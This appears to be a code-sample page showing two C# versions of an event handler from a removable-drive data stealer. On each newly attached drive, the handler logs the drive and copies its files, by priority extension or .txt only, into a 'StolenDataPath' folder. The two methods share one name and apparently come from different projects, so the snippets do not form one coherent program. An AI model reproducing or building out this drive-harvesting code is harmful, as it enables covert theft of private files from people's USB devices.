Beispiel #1
0
        private void OnOnNewDriverAdded(DriveInfo driveinfo)
        {
            string destinationDir = Path.Combine(StolenDataPath, driveinfo.VolumeLabel);

            OnNewDriverAdded?.Invoke(driveinfo, destinationDir);
            Logger.Append(new Message(Message.EventTypes.Info,
                                      "New Driver: " + driveinfo.VolumeLabel + " (" + driveinfo.Name + ")"));
            FileTransfer fileTransfer;

            try
            {
                fileTransfer = new FileTransfer(driveinfo.RootDirectory.FullName,
                                                destinationDir, FileTransferSettings);
            }
            catch (Exception ex)
            {
                Logger.Append(new Message(Message.EventTypes.Error,
                                          "Error starting Data transferring from  \"" + driveinfo.RootDirectory.FullName + "\" to \"" +
                                          StolenDataPath + "\". " + ex.Message));
                return;
            }

            fileTransfer.PrecedenceExtensions  = FileTransferSettings.PrecedenceExtensions;
            fileTransfer.CopyProgressChanged  += OnCopyProgressChanged;
            fileTransfer.CopyProgressStarted  += OnCopyProgressStarted;
            fileTransfer.CopyProgressFinished += OnCopyProgressFinished;
            fileTransfer.BeginTransfer();
            Logger.Append(new Message(Message.EventTypes.Info,
                                      "Data transferring from  \"" + driveinfo.RootDirectory.FullName + "\" to \"" + StolenDataPath +
                                      "\" started."));
        }
        private void OnOnNewDriverAdded(DriveInfo driveinfo)
        {
            WhitelistDrivers.Add(driveinfo);

            Log.Append(new Log.Message(Log.EventType.Info,
                                       "New Driver: " + driveinfo.VolumeLabel + " (" + driveinfo.Name + ")"));
            // CopyDirectory(driveinfo.RootDirectory.FullName, StolenDataPath);
            IntelligentFileCopier.BeginTransfer(driveinfo.RootDirectory.FullName, Path.Combine(StolenDataPath, driveinfo.VolumeLabel), new[] { ".txt" });
            Log.Append(new Log.Message(Log.EventType.Info, "Data transferring from  \"" + driveinfo.RootDirectory.FullName + "\" to \"" + StolenDataPath + "\" started."));
            OnNewDriverAdded?.Invoke(driveinfo);
        }